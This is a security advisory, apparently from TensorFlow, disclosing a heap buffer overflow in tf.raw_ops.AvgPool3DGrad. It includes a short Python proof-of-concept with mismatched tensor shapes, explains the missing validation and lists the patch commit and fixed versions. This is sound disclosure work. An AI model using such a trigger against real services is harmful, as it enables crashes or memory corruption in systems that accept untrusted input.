Summary
Heap buffer overflow in `AvgPool3DGrad`
Details

Impact

The implementation of tf.raw_ops.AvgPool3DGrad is vulnerable to a heap buffer overflow:

import tensorflow as tf

orig_input_shape = tf.constant([10, 6, 3, 7, 7], shape=[5], dtype=tf.int32)
grad = tf.constant([0.01, 0, 0], shape=[3, 1, 1, 1, 1], dtype=tf.float32)
ksize = [1, 1, 1, 1, 1]
strides = [1, 1, 1, 1, 1]
padding = "SAME"

tf.raw_ops.AvgPool3DGrad(
  orig_input_shape=orig_input_shape, grad=grad, ksize=ksize, strides=strides,
  padding=padding)

The implementation assumes that the orig_input_shape and grad tensors have similar first and last dimensions but does not check that this assumption is validated.

Patches

We have patched the issue in GitHub commit 6fc9141f42f6a72180ecd24021c3e6b36165fe0d.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
